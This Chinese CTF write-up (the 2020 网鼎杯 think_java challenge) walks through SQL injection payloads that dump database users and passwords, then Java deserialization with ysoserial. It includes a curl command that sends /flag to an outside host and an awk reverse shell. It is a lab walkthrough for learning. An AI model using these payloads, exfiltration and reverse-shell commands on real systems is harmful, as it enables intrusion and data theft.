2020-网鼎杯-朱雀组-Web-think_java writeup
2021-04-23 20:22:58 Author: www.freebuf.com(查看原文) 阅读量:97 收藏

题目地址:    https://www.ctfhub.com/#/challenge

解题过程

打开网站如下提示:

把题目给出的class文件直接扔到IDEA里面看里面代码用jd-gui反编译或者使用fernflower反编译都可以

在/common/test/sqlDict下 dbName 参数没有任何过滤带入到数据库查询 存在SQL注入漏洞。

查看源代码发现swagger-ui api接口

url地址后面加上swagger-ui.html 访问如下图:

sql注入语句

dbName=myapp?#' union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)#

dbName=myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#

dbName=myapp# 'union/**/select/**/group_concat(name)from(user)#

dbName=myapp#'union/**/select/**/group_concat(pwd)from(user)#

返回一个auth 头:

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm82RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==

关于上面那段数据的解释:

登录获得token

熟悉java一看就知道是java的序列化后的base64编码(如果以aced则为java序列化后的hex编码)

然后我们把返回的data值输入到/common/user/current接口中,则显示操作成功

auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化

在github下载ysoserial工具 找一个外网IP监听任意端口 在终端输入如下命令:

java -jar ysoserial-master.jar ROME "curl http://X.X.X.X -d @/flag" > freebuf.bin

使用python编写如下代码:(或者使用burp里面的编码模块)

import base64
file = open("freebuf.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print("Bearer "+ba)
file.close()

本以为能直接拿到flag 在题目提示里flag为随机命名,所以要拿到shell权限,很多小伙伴卡在这块。

使用msf生成meterpreter shell回话总是close

最终先把反弹代码写入到x.sh文件 再使用wget命令下载 然后再执行/bin/sh x.sh 命令一定要用base64编码。

awk 'BEGIN{s="/inet/tcp/0/X.X.X.X/1314";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

文章来源: https://www.freebuf.com/articles/others-articles/270657.html
如有侵权请联系:admin#unsafe.sh